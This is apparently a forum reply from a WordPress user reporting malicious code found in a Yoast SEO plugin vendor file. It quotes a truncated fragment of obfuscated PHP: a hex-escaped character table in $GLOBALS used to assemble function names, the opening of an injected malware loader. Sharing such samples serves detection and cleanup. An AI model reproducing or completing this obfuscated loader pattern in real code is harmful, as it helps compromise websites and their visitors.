Hi, I’ve got the same, but in ‘wordpress-seo/vendor/composer/autoload_real_52.php on line 1’ and and there were malicious code like:
‘$i10cf8bc = 405;$GLOBALS[‘db96fe727’]=Array();global$db96fe727;$db96fe727=$GLOBALS;${“\x47\x4c\x4fB\x41\x4c\x53″}[‘k700f64’]=”\x73\x23\x69\x20\x3a\x6f\x5f\x4f\x7e\x39\x48\x5b\x44\x2a\x54\x55\x3d\x74\x30\x3b\x77\x63\x27\x31\x46\x3c\x51\x3f\x2f\x6d\x58\x7c\x53\x2c\x7d\x21\x61\x4c\x5d\x6b\x2d\x6c\x26\x40\xa\x79\x33\x71\x28\x59\x42\x36\x4a\x67\x78\x5e\x64\x68\x24\x7b\x2e\x5c\x6a\x38\x45\x52\x47\x62\x34\x35\x72\x22\x4d\x37\x43\x2b\x6e\x75\x32\x25\x70\x29\x9\x65\x4b\x4e\x57\x66\x50\x41\x76\x60\xd\x7a\x3e\x5a\x49\x56”;$db96fe727[$db96fe727[‘k700f64’][93].$db96fe727[‘k700f64’][46].$db96fe727[‘k700f64’][63].$db96fe727[‘k700f64’][83].$db96fe727[‘k700f64’][36].$db96fe727[‘k700f64′][23].$db96fe727…’
I saw it when I open the file with a system editor.